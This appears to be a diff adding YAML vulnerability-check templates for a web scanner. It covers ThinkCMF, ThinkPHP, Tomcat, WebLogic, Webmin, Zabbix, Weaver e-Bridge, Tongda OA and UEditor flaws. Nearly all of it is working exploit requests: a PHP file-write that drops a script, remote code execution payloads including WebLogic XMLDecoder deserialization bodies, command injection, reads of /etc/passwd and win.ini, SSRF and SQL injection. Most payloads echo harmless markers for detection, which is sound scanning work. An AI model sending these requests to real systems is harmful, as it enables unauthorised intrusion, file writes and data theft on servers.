response.status == 200 && response.body.bcontains(bytes(string(b"ThinkCMF"))) && response.body.bcontains(bytes(string(b"## README")))
detail:
author: JerryKing
ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2
links:
- https://www.freebuf.com/vuls/217586.html
+18
View File
@@ -0,0 +1,18 @@
name: poc-yaml-thinkcmf-write-shell
set:
r: randomInt(10000, 20000)
r1: randomInt(1000000000, 2000000000)
rules:
- method: GET
path: "/index.php?a=fetch&content=%3C?php+file_put_contents(%22{{r}}.php%22,%22%3C?php+echo+{{r1}}%3B%22)%3B"
expression: "true"
- method: GET
path: "/{{r}}.php"
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1)))
detail:
author: violin
ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2
links:
- https://www.freebuf.com/vuls/217586.html
+26
View File
@@ -0,0 +1,26 @@
name: poc-yaml-thinkphp-v6-file-write
set:
f1: randomInt(800000000, 900000000)
rules:
- method: GET
path: /{{f1}}.php
follow_redirects: true
expression: |
response.status == 404
- method: GET
path: /
headers:
Cookie: PHPSESSID=../../../../public/{{f1}}.php
follow_redirects: true
expression: |
response.status == 200 && "set-cookie" in response.headers && response.headers["set-cookie"].contains(string(f1))
- method: GET
path: /{{f1}}.php
follow_redirects: true
expression: |
response.status == 200 && response.content_type.contains("text/html")
detail:
author: Loneyer
Affected Version: "Thinkphp 6.0.0"
links:
- https://github.com/Loneyers/ThinkPHP6_Anyfile_operation_write
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-thinkphp5-controller-rce
rules:
- method: GET
path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91
expression: |
response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129")
detail:
links:
- https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
+13
View File
@@ -0,0 +1,13 @@
name: poc-yaml-thinkphp5023-method-rce
rules:
- method: POST
path: /index.php?s=captcha
headers:
Content-Type: application/x-www-form-urlencoded
body: |
_method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu&get[]=1
expression: |
response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu1")
detail:
links:
- https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce
@@ -0,0 +1,22 @@
name: poc-yaml-tomcat-cve-2017-12615-rce
set:
filename: randomLowercase(6)
verifyStr: randomLowercase(12)
commentStr: randomLowercase(12)
rules:
- method: PUT
path: '/{{filename}}.jsp/'
body: '{{verifyStr}} <%-- {{commentStr}} --%>'
follow_redirects: false
expression: |
response.status == 201
- method: GET
path: '/{{filename}}.jsp'
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(verifyStr)) && !response.body.bcontains(bytes(commentStr))
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://www.seebug.org/vuldb/ssvid-96562
- https://mp.weixin.qq.com/s/sulJSg0Ru138oASiI5cYAA
+16
View File
@@ -0,0 +1,16 @@
name: poc-yaml-tomcat-cve-2018-11759
rules:
- method: GET
path: /jkstatus;
follow_redirects: false
expression: |
response.status == 200 && "JK Status Manager".bmatches(response.body) && "Listing Load Balancing Worker".bmatches(response.body)
- method: GET
path: /jkstatus;?cmd=dump
follow_redirects: false
expression: |
response.status == 200 && "ServerRoot=*".bmatches(response.body)
detail:
author: loneyer
links:
- https://github.com/immunIT/CVE-2018-11759
@@ -0,0 +1,16 @@
name: poc-yaml-tongda-meeting-unauthorized-access
rules:
- method: GET
path: >-
/general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay
headers:
User-Agent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'
Accept-Encoding: 'deflate'
follow_redirects: false
expression: |
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string("creator"))) && response.body.bcontains(bytes(string("originalTitle")))
detail:
author: 清风明月(www.secbook.info)
influence_version: ' < 通达OA 11.5'
links:
- https://mp.weixin.qq.com/s/3bI7v-hv4rMUnCIT0GLkJA
@@ -0,0 +1,17 @@
name: poc-yaml-ueditor-cnvd-2017-20077-file-upload
rules:
- method: GET
path: /ueditor/net/controller.ashx?action=catchimage&encode=utf-8
headers:
Accept-Encoding: 'deflate'
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(string("没有指定抓取源")))
detail:
author: 清风明月(www.secbook.info)
influence_version: 'UEditor v1.4.3.3'
links:
- https://zhuanlan.zhihu.com/p/85265552
- https://www.freebuf.com/vuls/181814.html
exploit: >-
http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
@@ -0,0 +1,19 @@
name: poc-yaml-weaver-ebridge-file-read-linux
rules:
- method: GET
path: "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt"
follow_redirects: false
expression: |
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
search: |
\"id\"\:\"(?P<var>.+?)\"\,
- method: GET
path: "/file/fileNoLogin/{{var}}"
follow_redirects: false
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: mvhz81
info: e-bridge-file-read for Linux
links:
- https://mrxn.net/Infiltration/323.html
@@ -0,0 +1,19 @@
name: poc-yaml-weaver-ebridge-file-read-windows
rules:
- method: GET
path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt
follow_redirects: false
expression: |
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
search: |
\"id\"\:\"(?P<var>.+?)\"\,
- method: GET
path: /file/fileNoLogin/{{var}}
follow_redirects: false
expression: |
response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
detail:
author: mvhz81
info: e-bridge-file-read for windows
links:
- https://mrxn.net/Infiltration/323.html
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+12
View File
@@ -0,0 +1,12 @@
name: poc-yaml-weblogic-cve-2020-14750
rules:
- method: GET
path: /console/images/%252E./console.portal
follow_redirects: false
expression: |
response.status == 302 && (response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console/jsp/common/NoJMX.jsp")))
detail:
author: canc3s(https://github.com/canc3s),Soveless(https://github.com/Soveless)
weblogic_version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
links:
- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
+11
View File
@@ -0,0 +1,11 @@
name: poc-yaml-weblogic-ssrf
rules:
- method: GET
path: >-
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700
headers:
Cookie: >-
publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|;
follow_redirects: false
expression: >-
response.status == 200 && (response.body.bcontains(b"&#39;127.1.1.1&#39;, port: &#39;700&#39;") || response.body.bcontains(b"Socket Closed"))
@@ -0,0 +1,20 @@
name: poc-yaml-weblogic-cve-2017-10271 # nolint[:namematch]
rules:
- method: POST
path: /wls-wsat/CoordinatorPortType
headers:
Content-Type: text/xml
body: >-
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void></void></void></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope></soapenv:Envelope>
follow_redirects: true
expression: >
response.body.bcontains(b"225773091")
detail:
vulnpath: '/wls-wsat/CoordinatorPortType'
author: fnmsd(https://github.com/fnmsd)
description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2017-10271'
weblogic_version: '10'
links:
- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
- https://github.com/QAX-A-Team/WeblogicEnvironment
- https://xz.aliyun.com/t/5299
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,20 @@
name: poc-yaml-weblogic-cve-2019-2725 # nolint[:namematch]
rules:
- method: POST
path: /wls-wsat/CoordinatorPortType
headers:
Content-Type: text/xml
body: >-
<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>fff</wsa:Action><wsa:RelatesTo>hello</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><string><class><string>org.slf4j.ext.EventData</string><void><string><![CDATA[<java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField"><string>connectionHandler</string><void method="setAccessible"><boolean>true</boolean></void><void method="get"><object idref="current_work"/><void method="getServletRequest"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void><void method="getWriter"><void method="write"><string/></void></void></void></void></void></void></void></void></void></java>]]></string></void></class></string></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
follow_redirects: true
expression: >
response.body.bcontains(b"225773091")
detail:
vulnpath: '/wls-wsat/CoordinatorPortType'
author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166)
description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData'
weblogic_version: '>12'
links:
- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
- https://github.com/QAX-A-Team/WeblogicEnvironment
- https://xz.aliyun.com/t/5299
@@ -0,0 +1,18 @@
name: poc-yaml-webmin-cve-2019-15107-rce
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /password_change.cgi
headers:
Referer: "{{url}}"
body: user=roovt&pam=&expired=2&old=expr%20{{r1}}%20%2b%20{{r2}}&new1=test2&new2=test2
follow_redirects: false
expression: >
response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: danta
description: Webmin 远程命令执行漏洞(CVE-2019-15107
links:
- https://github.com/vulhub/vulhub/tree/master/webmin/CVE-2019-15107
@@ -0,0 +1,11 @@
name: poc-yaml-zabbix-authentication-bypass
rules:
- method: GET
path: /zabbix.php?action=dashboard.view&dashboardid=1
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes("<a class=\"top-nav-zbbshare\" target=\"_blank\" title=\"Zabbix Share\" href=\"https://share.zabbix.com/\">Share</a>")) && response.body.bcontains(b"<title>Dashboard</title>")
detail:
author: FiveAourThe(https://github.com/FiveAourThe)
links:
- https://www.exploit-db.com/exploits/47467
@@ -0,0 +1,14 @@
name: poc-yaml-zabbix-cve-2016-10134-sqli
set:
r: randomInt(2000000000, 2100000000)
rules:
- method: GET
path: >-
/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5({{r}})),0)
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r)), 0, 31)))
detail:
author: sharecast
links:
- https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134